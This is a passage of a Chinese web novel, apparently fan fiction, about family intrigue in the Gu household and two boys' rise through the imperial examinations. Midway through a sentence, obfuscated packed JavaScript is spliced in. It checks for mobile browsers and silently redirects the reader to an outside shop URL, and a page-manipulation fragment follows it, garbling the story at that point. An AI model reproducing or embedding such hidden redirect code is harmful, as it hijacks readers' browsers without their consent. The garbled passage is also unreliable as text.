常嬷嬷心里暗叹道:“姑娘说的是啊!可惜五房那位大娘子是个不明事理的,她认为你能办到,你就能办到,你不能办,她就认为你看不起她,不愿意帮她。” 顾偃开在白滢婷讲完这些话时便走了进来,眼神中带着一丝疑惑,道:“大娘子,我刚刚好像听到你说什么锦江书院了,锦江书院怎么了嘛,还有那些个嚼舌根的女使小厮怎么处理呢?” 白滢婷深知这件事情就算她去找五房太太对峙,五房太太也是不会承认的,而且五房太太做这些事情时就认定了她拿她没有办法,可是白滢婷咽不下这口气,正好顾偃开开口询问了,她便打算告诉顾偃开这件事情,让顾偃开去解决,当然,她没有和顾偃开说先前骂五房太太的事情,只拿前不久五房太太想要炀哥儿进锦江书院的事情与今日的事情联系在一起告诉顾偃开。 等顾偃开听完后,眼中闪过一丝错愕,道:“五弟妹就为了这点子事情,让人在烨儿身边胡说八道,何以至此啊!再说了,这炀哥儿进不进锦江书院也不是你能说的算的啊!” 白滢婷眼眶微微泛红,道:“谁说不是啊!我素日对五弟妹不说嘘寒问暖,但在吃穿用度上从来是有应必求的,就连前不久五弟买的一副价值五百多两的字画也是府中公账出的银子,我做这些不过是念着一家子亲人无需太多计较罢了,虽然当初四弟弟和五弟弟分家时吃了些亏,但母亲嫁妆分配时他们可是比我们多了两成啊!我也没说什么,就连你提出让他们以后的吃穿用度走府中账目时,我也没说一个不字啊!五弟妹凭什么就因为这件事情记恨我啊!我又不是不愿意帮她,只能没办法帮她而已。” 顾偃开看着眼前一脸委屈的白滢婷,心里泛起一丝心疼,虽说他一直爱着大秦氏,但白滢婷到底陪了他七年多的时间,而且这些年白滢婷将顾家打理得井井有条,又将顾廷煜照顾的很好,若说他对白滢婷没有一丝感情是假的。 白滢婷看着顾偃开这个样子,知道他有些动摇了,便继续道:“烨儿和煜儿之间本来关系就不亲近,而且烨儿如今才七岁,若是真听信了这些,远了煜儿,那他们之间还有什么兄弟情啊!再者,这次还好烨儿是先告知我,若是让我哥哥知道了,他难免会多想,到时候他又该怎么看待煜儿。” 顾偃开听到白滢婷这么说,脸色有些难看,心里也不免对五房太太有些意见,虽说顾廷煜未来有个爵位,但他那个身子骨注定了他需要兄弟帮衬,而且他从不阻止白滢婷每年带顾廷煜去拜访盛瑾,也是为了让盛瑾对顾廷煜有些感情,若是顾廷煜在他去世后遇到什么事情,盛瑾能看在这点子情义的份上拉顾廷煜一把,毕竟他自己心里也清楚东昌伯爵府秦家人是靠不住的。 顾偃开一想到这里,不由得觉得五房太太有点蠢,盛瑾前不久刚升为工部尚书,原先与盛瑾交好的上一任工部尚书如今位列一品,那位可是一直把盛瑾看成自家小辈一般,她不想着和白滢婷交好,也不用与白滢婷交恶啊!这不是没事给顾家和她娘家找麻烦嘛。 顾偃开皱了皱眉头,眼中闪过一丝厌烦,道:“五弟妹这次有些过了,等会儿我去与五弟说道说道,让他和五弟妹好好说说。”毕竟他一个做大哥的也不好越过弟弟管教弟妹。 白滢婷见目的达到了,也不好再多说什么了,便与顾偃开聊起了其他事情,过了一会儿,顾偃开便起身离去。 次日,顾家五老爷便带着一脸难看表情的五房太太来向白滢婷道歉,这期间白滢婷有意无意的告诉了顾家五老爷一些五房太太占大房便宜的事情,果然如白滢婷所料的一样,顾家五老爷并不知道这些事情,等他听完白滢婷的话后,脸上的表情变得铁青起了,狠狠的瞪了五房太太一眼,随即向白滢婷表示以后他买的东西不用走府中公账,接着便和白滢婷告辞离去,五房太太见顾家五老爷离开也急忙追上去。 白滢婷看着五房太太急匆匆离开的背影,心里算是出了一口气,她眼中闪过一丝不屑,道:“她(五房太太)真当我不知道五弟买东西时让她不要走府中公账的事情嘛,不过是不想和她计较那点银钱罢了。” 白滢婷在顾家这么多年也差不多摸清顾家人的秉性了,顾家五老爷向来端着一副读书人的样子,而且顾家如今是分家不分府,他自己手里有着分给他的家产,再加上吃穿用度都是大房出的,他自然不好意思再厚着脸皮让大房在他的其他花销上出银钱了,因此这些事情八成是五房太太瞒着他做的,没想到结果还真不出白滢婷所料啊! 在一旁的常嬷嬷轻声道:“这五房太太也真是的,侯府分家时虽说他们只占了两成,但以侯府的家底两成也不少了,再加上分到的顾侯夫人嫁妆,折算下来少说也十万两银钱了,更何况其中有田产铺子,细细打理,一年也能有一万两的收入了。” 白滢婷眼中闪过一丝冷笑,道:“她(五房太太)那个人就是得寸进尺,我平日里对她客气些,便当我好欺负,居然敢将手伸向我的孩子们,她以为她是谁,真当我不敢和她撕破脸啊!”她说完这句便不想在讨论五房太太的事情了,随即和常嬷嬷聊起了其他事情,这件事情在顾家算是解决了。 第 30 章 时间转瞬即逝,三年一眨眼便过去了,如今的盛长轩和顾廷烨都十岁了,由于盛瑾看顾廷烨一个小孩子白天早起来丰国公府学习晚上回宁远侯府练功,中途没有任何娱乐和休闲时间,实属不易,便提出了让顾廷烨每个月休息五天的想法,也好让顾廷烨休息休息,白滢婷自是不可能不同意的,毕竟她也心疼儿子啊! 今天便是顾廷烨每月学习的最后一天,这天的课程一结束,他便要回到宁远侯府了,此时他的心情并没有多少波澜。 由于顾廷烨大多数的时间都在丰国公府,因此相对于宁远侯府,他觉得丰国公府更像他的家,也不是说顾家其他人怎么了顾廷烨,只是他觉得与顾家其他人的感情不深罢了,尤其是五房太太和顾廷炀,他对他们就没什么好感,五房太太是个大人至少装装样子,可顾廷炀每次见他都没什么好脸色,至于为什么顾廷烨知道五房太太是和他装样子的呢,不要小看一个孩子对环境和身边的人的敏感度,他能感受到好坏,更何况是顾廷烨这般聪慧的孩子,他可以感觉到五房太太每次见到他都像是戴了副假面具一般,与她相处起来累的慌。 不过,顾廷烨对顾廷煜的感官比起顾家四房五房的那几个堂兄好些,毕竟再怎么说顾廷煜也是他的兄长,可就算如此他还是极少和这位如同陶瓷一般脆弱的兄长碰面的,不仅仅是因为他大部分时间都待在丰国公府,两人碰面时间锐减,还有就是他每次看到顾廷煜那脆弱的身子,都下意识的不敢多说什么或是碰顾廷煜一下,生怕顾廷煜出什么事情,即使顾廷煜这些年调养的不错,但顾廷煜在顾廷烨或是旁人眼中身子骨远比普通人弱。 至于他的父亲顾偃开,那就更不要说了,除了教他练武以外,就极少见面了,更何况他如今也知道一些他父母亲之间的事情了,也对他父亲没什么强求的了。 一想到这里,顾廷烨毫无波澜的心里泛起了一丝可悲,一家人的关系还不如点头之交的朋友呢,他突然产生了一丝想要去和盛瑾说他不想要回宁远侯府的想法了,但只要想到爱自己的母亲和可爱的弟弟都还在宁远侯府,顾廷烨就不得不回去,毕竟白滢婷和顾廷炜在顾廷烨心中还是很重要的。 每每一想到这里,顾廷烨就有一种恨不得自己能马上长大带母亲分府出去住的想法,但是顾廷烨知道这种想法是不实际的,只要顾偃开还在,白滢婷就不可能搬出宁远侯府,不过好在白滢婷在宁远侯府的日子也不算难过,这让顾廷烨的心情好了些许。 顾廷烨正坐着马车很快就来到了宁远侯府门前,他一下马车就看到一个人迎面冲到他怀里,定睛一看,是自己的弟弟顾廷炜。 只见顾廷炜软软的说道:“哥哥,我好想你啊!你怎么现在才回来啊!我一个人在家里好无聊啊!母亲说你学习很辛苦,我不能打扰你,你今天休息了,可以陪我玩吗?” 顾廷烨抱着顾廷炜贴着他的脸说:“哥哥也好想你啊!不过哥哥要读书,所以才没有和你一起玩,四弟弟真乖,接下来的五天是哥哥的休息时间,到时候哥哥可以陪四弟弟玩五天呢,四弟弟高不高兴呢?” 顾廷炜用力的点头以此来表达出他的喜悦,可没一会儿,他脸上浮现出委屈巴巴的表情,语气中带着一丝不高兴,道:“你去舅舅家读书为什么不带上我吗?我也可以读书了,我想到舅舅家读书。” 站在一旁的白滢婷闻言,故意做出一副委屈的表情,道:“是娘亲不舍得你,你和哥哥都去舅舅家读书了,只剩下娘亲一个人在家中孤孤单单的,炜儿舍得娘亲一个人孤零零的吗?” 白滢婷此言一出,顾廷炜立马从顾廷烨的怀里出来,冲到了白滢婷的怀里,安慰白滢婷道:“炜儿陪着娘亲,娘亲不伤心。” 白滢婷笑着抱着顾廷炜说道:“娘亲不伤心,有炜儿陪着娘亲,娘亲很开心,等炜儿大一点了,娘亲就送你去舅舅家读书,如今你哥哥和表哥学的东西对于你而言太难了,炜儿先跟着娘亲找的夫子启蒙,好嘛?” 顾廷炜闻言点了点头表示同意,然后白滢婷对顾廷烨说:“烨儿,我们先进去吧。”说完,三人便一起进入府中了。 午饭是白滢婷母子三人一起用的,这也是常态了,顾偃开一般不会和他们母子三人一起用膳,午饭过后,顾廷烨就带着顾廷炜一起去睡觉了。 白滢婷下人们都出去,只留下了常嬷嬷一人,常嬷嬷问道:“姑娘,你为什么不让炜哥儿和烨哥儿一同去盛府学习呢?国公爷并不会介意的。” 白滢婷沉默了片刻,语气中带着一丝无奈,道:“奶娘,你以为我不想吗?可我担心炜儿的身子骨,虽然炜儿现在瞧着和正常孩子没什么两样,但他到底不是足月生的,身子骨还是弱些,前些日子一场雨就能让他发烧,我怎么敢让他和烨儿一般两地奔波学习啊!就算我同意,顾偃开也不可能同意的,我算瞧出来他对炜儿和煜儿没有多大期许,只想他们做个富贵闲人。” 常嬷嬷闻言,眼中闪过一丝担忧,道:“姑娘,侯爷这么想也是为了两个哥儿好,可煜哥儿未来是有爵位继承的,我们家炜哥儿可没有什么爵位继承,若是将来分府别居,炜哥儿可是要顶门立户的啊!虽说这侯府嫡子的名头好听,但这侯爷父亲与同父异母的侯爷哥哥还是大不相同的。” 白滢婷脸上的表情没有丝毫变化,道:“奶娘,你说的我都想过,除去炜儿身子骨有些弱的原因外,我还有其他顾虑,你别忘了顾家和炜儿相差不大的还有五房的狄哥儿,先前烨儿去哥哥那读书没几个月时,四房那位刘小娘在四弟身边吹枕头风,鼓动四弟来找我闹,想以此胁迫我让炳哥儿去哥哥那里读书,要不是四弟妹派人给我透露消息,我提前拉了母亲(顾侯夫人)坐镇,我这院子可就热闹了。” 白滢婷眼中闪过一丝嘲讽,道:“侯爷那四弟可真是没有眼色,怪不得会喜欢刘小娘那样没有分寸的人,真把丰国公府当成宁远侯府的啊!要不是公公婆婆留了一手,煊哥儿这嫡子怕是过的还不如庶子呢。” 常嬷嬷附和道:“谁说不是呢,还好老侯爷夫妇去世前将分给四房老爷的家产交到了四房大娘子手里,让姑娘和侯爷做证人,等煊哥儿娶妻后便将这份家产的七成交由他,两成给荧姐儿做嫁妆,一成由四老爷离世前自由分配,不过,在四老爷未离世前,这份家产收益的五成交由四老爷自个花销,要不然,四老爷可有的闹了。” 白滢婷闻言,冷笑道:“父亲母亲心里清楚,这份家产要是交到四弟手里迟早要败光,而且儿子是亲的不假,但孙子也是亲的,总不能让儿子将家产败光,一点都不留给孙子吧,再说了四弟一人一年五千多两的银钱足够他过的滋润了。” 常嬷嬷脸上不变道:“好在四房的吃穿用度都是走的府中账目,要不然四房大娘子可是有的愁了,不过姑娘为什么说这些事情呢?你是担心五房大娘子和刘小娘一般嘛。” 常嬷嬷和白滢婷不知道顾侯夫妇之所以这么做,还是因为刘小娘鼓动顾家四老爷去找白滢婷闹,妄图将炳哥儿送进丰国公府读书这件事让他们彻底对这个儿子死心,他们知道这个儿子整日花天酒地没出息,但没想到这个儿子居然会这么没脑子,竟然妄图要挟县主让国公爷教一个庶子读书。 顾侯夫妇看着闹心的四儿子,又想起乖巧的顾廷煊,想着这个刘小娘竟然能鼓动四儿子做这件事,那会不会鼓动四儿子将家产全部留给庶子又或是败光,他们越想越觉得这是没脑子的四儿子可以干出来的事,于是便出现了常嬷嬷说分家产的事情。 白滢婷微微皱着眉头,道:“我是有点担心这件事情,但最重要的是我问过哥哥关于烨儿和轩轩的学习进度,也问烨儿他学的怎么样,烨儿说轩轩比他学得还要快,烨儿尚且如此,炜儿还没有烨儿那般聪慧过人,炜儿若是去了哥哥那,势必会跟不上他们的学习进度,我怕他会有落差,到时候几个孩子的学习进度不一样,若是再有个心思不正的,在炜儿身边嘀咕什么,恐怕他心里会有疙瘩。” 常嬷嬷迟疑道:“奴婢看我们炜哥儿不像是那样的人,炜哥儿的性子最是体贴人的,心思也单纯,姑娘莫不是多虑了。” 白滢婷眼中闪过一丝谨慎,道:“多虑些还是好的,尤其是五房那位还对烨儿和煜儿干过这种事情呢,再说了七岁看老,你别瞧着炜儿现在念叨着要去哥哥那里读书,可你见过他读书的样子,他哪里是想要读书啊!分明是想找烨儿和轩轩玩闹,炜儿在读书上没有烨哥儿和轩轩那样的天赋,将来难免需要烨儿和轩轩照拂些,若是闹僵了关系便不好了,再过几年,烨儿和轩轩就要科举了,有两个哥哥在前面,炜哥儿慢些科考也行,反正我也不苛求炜儿一定要科举出仕,他有个功名伴身,我便放心了。” 常嬷嬷听到白滢婷提起五房太太,皱了一下眉头,道:“姑娘说的对,这五房的大娘子的确要防着些,是奴婢思虑不周,既然姑娘已经想好了,那奴婢也不多说什么了。” 白滢婷浅浅一笑,道:“奶娘也是为了我和孩子们好,想着炜儿和烨儿若都是由哥哥看着自是再好不过了,不过我身在这顾府不得不顾虑这些事情。” 白滢婷眼中的笑意渐渐散去,道:“我一个姑娘家无法外出建功立业自然是要靠着哥哥撑腰,但烨儿和炜儿是男子,我还是希望他们能有能力靠自己,至少别像四房那位一般,我打算等烨儿和轩轩考中秀才后,让炜儿时常去哥哥那里请教一下学识,日子久了,顾家其他人就算察觉什么也没什么理由辩驳。” 常嬷嬷心里感叹道自家姑娘是真的长大了,说着:“姑娘,这样做也好,想必到时候谁也说不出话来了,烨哥儿和轩哥儿如此聪慧,再加上国公爷的悉心栽培,一定会榜上有名的,到时候,姑娘恐怕要好好的挑儿媳妇了。” 白滢婷一听这话,便面带微笑道:“还早着呢,什么挑不挑的,只要人品好,家世过得去就好,最主要的是要孩子们自己喜欢才行,我可不想让好人家的女儿,再经历一次我这样的事情了。” 常嬷嬷见白滢婷又想起伤心事,便开口转移话题,逗白滢婷开心,二人就这样聊了许久,而顾廷烨在顾府过了五天后,又开启了盛顾两家间的走读模式了。 这次白滢婷没想到盛瑾居然会让顾廷烨和盛长轩参加今年的科考,毕竟在她眼中这两个人还是七岁的孩子,她从来没有奢望过自家孩子还有甘洛拜相之能啊!但是盛瑾和她解释了一番后,她觉得让两个孩子提前感受一下科考氛围也不错,再说了她对盛瑾也是十分信任的,既然盛瑾觉得二人的火候够了,那便去试一试科考也无妨,于是盛长轩和顾廷烨很快就到了参加科考的日子。 这一天是丰国公府和宁远侯府的大日子,毕竟这是盛长轩和顾廷烨人生中的第一次科举考试了,此时的丰国公府早早准备好了东西,随后便将顾廷烨和盛长轩送往考场,看着他们一同进入考场,至于顾廷烨和盛长轩为什么能在汴州城科考,还是盛瑾以他们年幼为由向皇帝求得的圣旨。 这边的盛长轩和顾廷烨已经在考场内准备考试了,而另一边的白老爷和盛瑾正在一起下棋,对于白老爷而言,这是每日与盛瑾的日常放松的游戏,他看着盛瑾一副气定神游的样子,便开口说道:“你一点都不担心两个孩子的科考吗?莫不是瑾儿你对两个孩子很有信心呢。” 盛瑾眼中闪过一丝笑意,语气平淡,道:“有什么好担心的,他们两才多大啊!大不了再重新考吗?再说了,我对他们两个的水平有信心,义父,您老就放宽心吧,等着你的两个孙子给您争光吧!” 白老爷听到盛瑾这么说也就没有再说什么了,但是从他前天为玉清观捐的一大笔香火钱,可以看出他对盛长轩和顾廷烨此次科举还是很重视的,至少看起来相比于盛瑾这个当父亲、舅舅的,可是重视的多呢。 等盛长轩和顾廷烨考完后,两个孩子累的一回府里,就直奔向房间睡觉,盛瑾吩咐下人谁也不要打扰他们,没过多久,科举出成绩了,盛长轩第一名,顾廷烨紧追其后,排在第二名,为此盛瑾还打趣他们两个没有浪费他们的祖父(外祖父)的香火钱呢,白老爷因着盛瑾这句话还瞪了盛瑾一眼呢,但这丝毫不影响白老爷愉悦的心情,而盛长轩和顾廷烨则是没有任何骄傲的完成了余下的两场考试。 等科举考试结束后,盛长轩和顾廷烨才真正的松了口气,放松心情等待科举成绩出来,不出意外的盛长轩都是第一名,得了个小三元的称号,而顾廷烨始终保持在了前五名以内,分别是第四名、第三名。 盛瑾是了解盛长轩的,他的出生本就不平凡,再加上他遗传了盛瑾的过目不忘的能力和强壮的体质,以及他本身就聪慧过人,所以他取得这样的成绩,盛瑾一点也不奇怪,相比于盛长轩,顾廷烨才是正常聪慧的孩子,他取得这样的成绩实属不易。 因为两个孩子都中了秀才,而且名次都是靠前的,白老爷这段时间可谓是意气风发啊!为此他又给玉清观捐了一大笔香火钱,对此白老爷表示这是在还愿,而盛瑾对于白老爷的行为只是一笑而过,毕竟在他心里,只要白老爷高兴,想干嘛他都无所谓,反正白老爷和他又不缺钱。 另一边的顾偃开虽然面上没有什么表情,但从顾廷烨中秀才后,他在家中摆了桌家宴庆祝,可以看出他的内心对于顾廷烨考中了秀才这件事情十分开心,而白滢婷对于顾偃开这种行为表示无所谓,毕竟现在顾偃开的想法已经无法影响她了。 不过也正因为顾廷烨的好成绩,顾偃开对于顾廷炜时常到丰国公府找盛瑾请教问题,处于睁一只眼闭一只眼的状态,以至于后来顾廷炜像他二哥顾廷烨一般来盛家学习,他都没有发表什么意见,毕竟有个好例子在前面,不是吗?只要他不想他的儿子和他那两个兄弟一样,只要他想光耀顾家门楣,他就不能反对,而顾家五房太太发现后想闹但又没有什么理由闹,尤其是顾家五老爷还不站在她这边以及先前得罪白滢婷的情况下便更没有理由阻止或塞人进丰国公府。 对于顾廷炜的到来,盛瑾表示热烈欢迎,为此还给顾廷炜小朋友布置了儿童房间,毕竟顾廷烨和盛长轩如今已经长成了小大人的模样,盛瑾很难再在他们身上找到逗小孩的乐趣了。 顾廷炜在丰国公府学习的一段日子里,丰国公府的夫子发现教导顾廷炜没有当初教导顾廷烨和盛长轩那么轻松了,但他也没有多说什么,只是将顾廷炜的教导计划进行了调整,毕竟相较与盛长轩和顾廷烨两人而言,顾廷炜才代表了正常小朋友的水平。 就这样又过了三年时间,这三年里盛长轩、顾廷烨与顾廷炜可以说是一同在盛府中长大的,如今他们的关系好的像亲兄弟一样,不过他们之间的相处十分有趣,准确来说,盛长轩和顾廷烨之间的相处有些像猫和老鼠,顾廷烨有些怕盛长轩,他一直觉得盛长轩不像他弟弟,反倒像他兄长、老爹一般,原因便是盛长轩管顾廷烨管的极严。 盛长轩不仅管顾廷烨管的严,而且管顾廷烨的方法也与常人不同,让顾廷烨永生难忘啊!比如有一次顾廷烨被人起哄去喝花酒,被盛长轩知道后,盛长轩也不恼,只是笑眯眯的说要请顾廷烨一起去一个地方玩,便径直将顾廷烨带去了青楼,找了十几个姑娘,打点好一切后,就将这十几个姑娘和顾廷烨关在一件房间里三天三夜,他则是回了盛府,就这一次后,顾廷烨只要听到青楼二字就想吐。 盛长轩的管教方式虽然与他人不同,甚至可以说有些不符合这个时代人的礼仪行为想法,但有奇效又绝对药到病除,因此顾廷烨对盛长轩有些畏惧,他绝对不想领教这个表弟的惩罚。 在丰国公府中要说谁最受宠爱,那绝对就是顾廷炜了,比起顾廷烨和盛长轩这两个小大人而言,顾廷炜才算是正常的小孩子,顾廷炜的学习程度与盛长轩他们相比是差的十万八千里,但是比上不足,比下有余,相对于普通孩子而言,顾廷炜还是有些聪慧的,还好这孩子心思单纯,并没有产生嫉妒的情绪。 顾廷炜小朋友日常的哄人招数就是贴贴脸,如果他想要什么就会和人贴贴脸,满口甜言蜜语的哄人,哄着大家心甘情愿的疼他,不过盛瑾、盛长轩和顾廷烨对顾廷炜的管教该严格还是严格的,尤其是顾廷烨简直是在顾廷炜身上找回了兄长的尊严啊! 在这三年里顾廷烨和盛长轩的知识底蕴又上了一层楼,尤其是盛长轩的成长更为恐怖,可以说如今的盛长轩火候已经到了,因此盛瑾觉得他可以参加这次的秋闱,至于顾廷烨为着提前感受一下这种氛围也参加了本此的秋闱。 今天是盛长轩和顾廷烨科举考试的日子,考场上人山人海,白滢婷和盛瑾一行人目送盛长轩和顾廷烨进入考场后,他们经过几天的考试,累的和死狗一样,一回到丰国公府,就冲向房间躺在床上倒头就睡。 盛长轩和顾廷烨的狼狈样子可把顾廷炜吓了一跳,搞得顾廷炜差点对科举考试有了心理阴影,还是盛瑾哄他说是盛长轩和顾廷烨身体素质太差了,让顾廷炜信以为真,还说以后一定会监督哥哥们锻炼身体的。 盛瑾还在心里想着:“小孩子就是好哄啊!”可怜的盛长轩和顾廷烨不知道他们在自己亲爱的弟弟心目中的光辉形象被他们的爹爹(舅舅)破坏的差不多了,就是他们现在知道了,也无法从床上爬起来给自己的弟弟表演胸口碎大石了。 第二天,盛长轩和顾廷烨就接到了自己亲爱的弟弟的起床礼包,顾廷炜将他们从床上叫起来,将他们拉到了练武场,睁大眼睛,盯着他们两练武,可怜的两兄弟还以为他们亲爱的弟弟是想看看自己英武的身姿。 顾廷炜看着他们练武,心里想着:“哥哥们身体这么弱,我一定要监督哥哥们好好锻炼,让身体变得强壮起来,我真棒,世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8576780|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上再也没有我这么好的弟弟了。” 如果此时盛长轩和顾廷烨知道顾廷炜在想什么的话,他们一定会用行动告诉自己亲爱的弟弟,他们到底弱不弱,可惜啊!他们并不知道,于是这个美丽的误会一直持续到顾廷炜自己参加科举后才知道,科举的累不是单单指身体上的,还有心灵上的。 那时的顾廷炜无比庆幸自己当时没有傻傻的告诉哥哥们自己认为他们弱,因此监督他们锻炼,那么哥哥们一定会向他展示自己的战斗力的。 几天后,到了放榜的日子,盛府下人早早就站在考场等成绩了,结果不出所料,盛长轩和顾廷烨都在榜上有名,只不过顾廷烨名次较为低,所以就不打算参加春闺了,而盛长轩中了解元,他认为自己能力可以支持自己参加了这一节的春闺,于是盛长轩就接着参加本次的春闺。 盛瑾知道自己的儿子实力如何,他对于盛长轩的决定没有反驳,毕竟如今的盛长轩可不是孩童的心智了,他不能什么都为盛长轩决定,为此他常常感慨自己的养娃生涯竟然如此之短,可是他一转身便抱着顾廷炜贴贴脸,心里不由的感慨道:“还好还有一个正常的小孩可以养。” 顾廷炜疑惑的看着自己的舅舅,不知道为什么舅舅突然和自己玩贴贴脸,不过还是乖巧的配合自己的舅舅贴贴脸,萌的盛瑾不要不要的抱着他起身去花园玩耍。 另一边的宁远侯府正在开宴席庆祝顾廷烨考中举人,宴席中的顾偃开一脸喜色,任谁都看得出来他今天是真的高兴,毕竟十三岁考中举人也算得上是凤毛麟角了。 在宴席中的顾偃开还侧面的向好友们炫儿子顾廷烨考中举人的事,惹得好友们在心里翻白眼道:“顾廷烨之所以年幼考中举人是人家舅舅的功劳,满汴州城谁不知顾廷烨从小是在丰国公府读书长大的,有个状元郎舅舅看顾着 那顾廷烨只要不是个榆木脑袋,想不成才都难,也不看看你家四房五房的小孩,除了顾廷煊外,其他孩子还不是在捉猫逗狗呢。”可是无论在场的人心里如何反驳或是嫉妒羡慕顾偃开,但他们的脸上还是挂满了笑容,满嘴恭喜赞许的话。 这边顾偃开在和男宾们聊天,白滢婷那边也十分热闹,女宾们不停的恭贺着,还侧面打听顾廷烨的亲事,相对于男宾之间的和睦,女宾这边可谓是刀光剑影啊! 这年头好女婿不好找啊!顾廷烨可谓是年少中举的,满汴州城里的勋爵贵胄人家也是凤毛麟角的存在啊!眼瞅着前途一片光明,再加之是在盛瑾身边长大的,给顾廷烨在汴州城的婚姻市场里加了不少分。 这盛瑾是谁,那可是一个专情之人啊!满汴州城都知道,这婚前也没听说他有什么通房小妾,这婚后那就更不用说,那是一心一意对自己的大娘子,满心满眼都是盛国公夫人啊!这盛国公夫人逝世后,有多少人家等着盛瑾续弦,结果呢,人家愣是没娶,求了皇帝一副墨宝便一心一意守着盛国公夫人留下的唯一儿子,简直是世间女子心意的夫君啊! 正所谓近朱者赤近墨者黑,顾廷烨在盛瑾身边长大,能不学习到一些盛瑾的性情吗?再则这端淑县主早年说过不会给自己儿子房里安排小妾通房之类的。 最重要的是这顾廷烨不仅有前途,还有钱途,当年端淑县主可是带着三船五车的嫁妆嫁到宁远侯府的,满汴州城的人都看到端淑县主那几船嫁妆了,这还不包括盛国公夫妇给端淑县主的添妆呢,而且这顾廷烨的外祖父白老爷是扬州城有名的盐商,家产丰厚,端淑县主是白老爷的独女,未来白老爷的家产也是有顾廷烨的一份的。 在场的大娘子们都是人精,姑娘若是嫁给顾廷烨后,只要做到孝顺公婆,与夫君恩爱,平时管理内宅,与人相处上不出错,那日子过的肯定顺心。 这投资要趁早,要不然都成别人家的了,而且白滢婷也不是只有一个孩子,还有一个小的也在丰国公府读书呢,大的抢不到,还有小的可以抢,在座的来宾谁家没有个姑娘,就算是没有姑娘还有侄女外甥女呢,狼多肉少,先下手为强。 当然也不是没有人肖想过盛长轩,毕竟盛瑾的家产和慕卿云的嫁妆那可是出了名的丰厚啊!再加上盛瑾的爵位、人脉,到时候都是要留给唯一的儿子盛长轩的,更何况丰国公府没有女主人,这嫁过去可是实打实的当家大娘子啊!可也正因为丰国公府没有女主人,她们作为女眷不能上门打扰,至于男人,那就更靠不住了,对于他们而言面子才是最重要。 其中一些心思活跃之人自然而然联想到了白滢婷这里,丰国公府没有女主人,但盛国公有妹妹啊!白滢婷是盛国公的义妹,也时常等丰国公府的门,若是盛国公有意,那绝对会和她提起,到时候她也可以在盛国公面前为自家姑娘美言几句啊!满汴州城谁不知道盛瑾十分宠爱这个妹妹的,所以无论从哪方面出发,和白滢婷交好百利无一害,于是白滢婷这边和女宾的相处十分融洽。 在丰国公府中的盛瑾还不知道自己的儿子和外甥们成了香锅锅了,不然他一定破口大骂,丧心病狂啊!都还是孩子呢!太疯狂了啊!顾廷烨还不知道他的婚事被人盯上了,只能对他说一声无知是一种幸福啊! 日子过的很快,眨眼间便到了春闺的日子了,白滢婷为此还特意回到盛府与盛瑾一同送盛长轩到考场,等盛长轩进入考场后,盛瑾一行人就离开了。 几天后,盛长轩考完了,一出来就冲到了自家马车上,现在的盛长轩脑子里只有回府睡觉这个念头,所以盛长轩一回府就冲到自己的房间里睡觉,大家都知道盛长轩太累了,所以就不去打扰他休息了。 屋外的顾廷炜看着盛长轩的房间的房门,心里感慨道:“哥哥真弱啊!以后我要努力监督哥哥锻炼身体。”想着还给自己比了个加油的手势,看得一旁的顾廷烨一脸疑惑,他属实是不知道自己这个嫡亲弟弟又在想什么奇怪的东西呢。 盛长轩在家里睡了一天一夜,之后就在家里放松心情,唯一让盛长轩疑惑的是顾廷炜一直拉着他和顾廷烨锻炼,盛长轩严重怀疑自己亲爱的爹爹跟顾廷炜说了啥,可以说某种程度上,盛长轩的直觉还是很准的,他和顾廷烨在顾廷炜心中的形象从曾经的无所不能的哥哥变成了身体有些弱的哥哥,造成这一改变的正是他们敬爱的爹爹(舅舅)。 很快科考成绩就出来了,在盛瑾和盛长轩的意料之中,其他人的意料之外,盛长轩取得了第一名,所以如果殿试不出意外的话,盛长轩会成为本朝有史以来最年轻的六元及第的状元郎,白滢婷和白老爷对此十分高兴啊!如果盛长轩真的成了状元郎的话,盛府就是一门两个状元郎,这是一个佳话啊! 这么多年了,白老爷和白滢婷早就将盛瑾父子看成自己最亲的亲人了,看到盛长轩取得这样的成绩,白老爷和白滢婷感到了十分的骄傲,但是盛长轩还有殿试要参加,这是盛长轩科举路上的最后一步,所以谁都不敢打扰他学习,大家压下了心中的喜悦,让盛长轩安心的复习。 等到了殿试这一天,大殿之上坐着天下之主,考生们在下面紧张的做题,由于盛长轩是第一名,所以位置离皇帝比较近,皇帝和文官们都盯着盛长轩看,至于原因有两点,其一是盛长轩太小了,其二便是盛长轩的父亲盛瑾太出名了,年纪轻轻就是工部尚书和国公爷了,无论是读书人圈子,还是在朝中的名声都是极好的。 皇帝看着盛长轩,目光中带有一丝考量,不知心里在想些什么,过了一会儿又移开了视线,一旁的文官们看着皇帝一直盯着盛长轩看,心里想着如果盛长轩本次成绩不差的话,那么状元郎之位就非他莫属了,毕竟本朝如果出现有史以来最年轻的六元及第的状元郎的话,对于皇帝和他们而言,也是一大功绩啊! 文官们一直以来都知道盛瑾在皇帝心目中的地位极重,除了盛瑾本身出色以外,最重要的是盛瑾属于纯臣,不参与朝堂权利的斗争,尤其是储位之争。 对于文官而言,盛长轩的父亲盛瑾不属于朝堂中的任何一派,而且盛瑾身后隐形的朝堂力量也不容小视,没必要为了个状元位置得罪盛瑾,惹恼皇帝,他们又不傻,给自己找敌人,给对方送队友,更何况盛长轩本身也极为出色,当得起状元郎之位,能在朝廷上留下来的,谁不是千年的狐狸啊!于是皇帝和大臣们难得的意见统一了一回。 等殿试结束后,盛长轩一出宫门便直接上了马车回府,接下来就是等殿试成绩出来了,这几日盛长轩在府中休息,如果没有顾廷炜 一直让他锻炼的话,盛长轩的感觉会更好点,虽然他很享受弟弟的爱,但是他更想安静的看会儿书来休息一下,他看着眼前的顾廷炜,心里想着:“不知道我那亲爱的爹爹到底和炜儿说了什么,让他如此关系他这两个哥哥呢。” 盛长轩便在顾廷炜的关心下等到了殿试成绩的结果,他不出意外的被皇帝亲点为状元郎,成就了盛府一门两状元郎的佳话。 第 31 章 